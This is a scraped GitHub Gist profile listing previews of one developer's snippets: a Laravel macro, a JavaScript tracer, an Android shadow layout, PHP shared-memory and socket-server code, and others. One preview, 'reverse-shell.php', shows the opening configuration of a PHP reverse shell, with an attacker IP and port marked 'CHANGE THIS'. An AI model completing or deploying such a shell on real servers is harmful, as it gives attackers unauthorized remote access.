Skip to content

Instantly share code, notes, and snippets.

View mohsenyz's full-sized avatar
🤒
Out sick

Mohsen mohsenyz

🤒
Out sick
  • Tehran
View GitHub Profile
@mohsenyz
mohsenyz / AppServiceProvider.php
Created December 6, 2020 13:51
Laravel collection macro for unique consecutive
<?php
Collection::macro('uniqueConsecutive', function ($key = null) {
$lastItem = NULL;
$formatItem = function ($item) use ($key) {
if ($key == null) return $item;
if (isset($item[$key])) return $item[$key];
return optional($item)->$key;
};
@mohsenyz
mohsenyz / trace.js
Created July 25, 2019 00:15
Trace function names runtime, each function name is shown once
window.globalSet = new Set();
function augment(withFn) {
var name, fn;
for (name in window) {
fn = window[name];
if (typeof fn === 'function') {
window[name] = (function(name, fn) {
var args = arguments;
return function() {
withFn.apply(this, args);
@mohsenyz
mohsenyz / ShadowLayout.java
Created September 6, 2017 20:09 — forked from xalexchen/ShadowLayout.java
Android custom layout paints a drop shadow behind all children
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.BlurMaskFilter;
import android.graphics.BlurMaskFilter.Blur;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.graphics.Paint.Style;
import android.graphics.Rect;
import android.graphics.RectF;
@mohsenyz
mohsenyz / reverse-shell.php
Created August 14, 2017 15:48
A reverse-shell
<?php
set_time_limit (0);
sleep(5);
$VERSION = "1.0";
$ip = '172.17.0.8'; // CHANGE THIS
$port = 6060; // CHANGE THIS
function syntaxHighlight(json) {
json = json.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
return json.replace(/("(\\u[a-zA-Z0-9]{4}|\\[^u]|[^\\"])*"(\s*:)?|\b(true|false|null)\b|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?)/g, function (match) {
var cls = 'number';
if (/^"/.test(match)) {
if (/:$/.test(match)) {
cls = 'key';
} else {
cls = 'string';
}
@mohsenyz
mohsenyz / test.py
Last active June 17, 2017 10:01
simple programme
numbers = []
k = 0
k = int(input("Please enter k : "))
while (True):
x = str(input("Enter a number (if you done entering numbers, enter end):"))
if x == "end":
break
if x.isdigit():
numbers.append(int(x))
@mohsenyz
mohsenyz / uploadfile.html
Created March 9, 2017 22:01
Js upload file via progressbar
<!DOCTYPE html>
<html>
<head>
<title>Uploader</title>
<style type="text/css">
*{
transition: 0.3s;
}
body{
background: #eaeaea;
@mohsenyz
mohsenyz / shm.php
Created March 9, 2017 20:31
Php shared memory
<?php
class ShmLib
{
var $bright;
var $SHM_KEY;
var $my_pid;
function ShmLib($SHM_KEY=null)
{
@mohsenyz
mohsenyz / socket.php
Created February 25, 2017 03:46
Unblocking socket server
<?php
$port = 9050;
// create a streaming socket, of type TCP/IP
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
// set the option to reuse the port
socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1);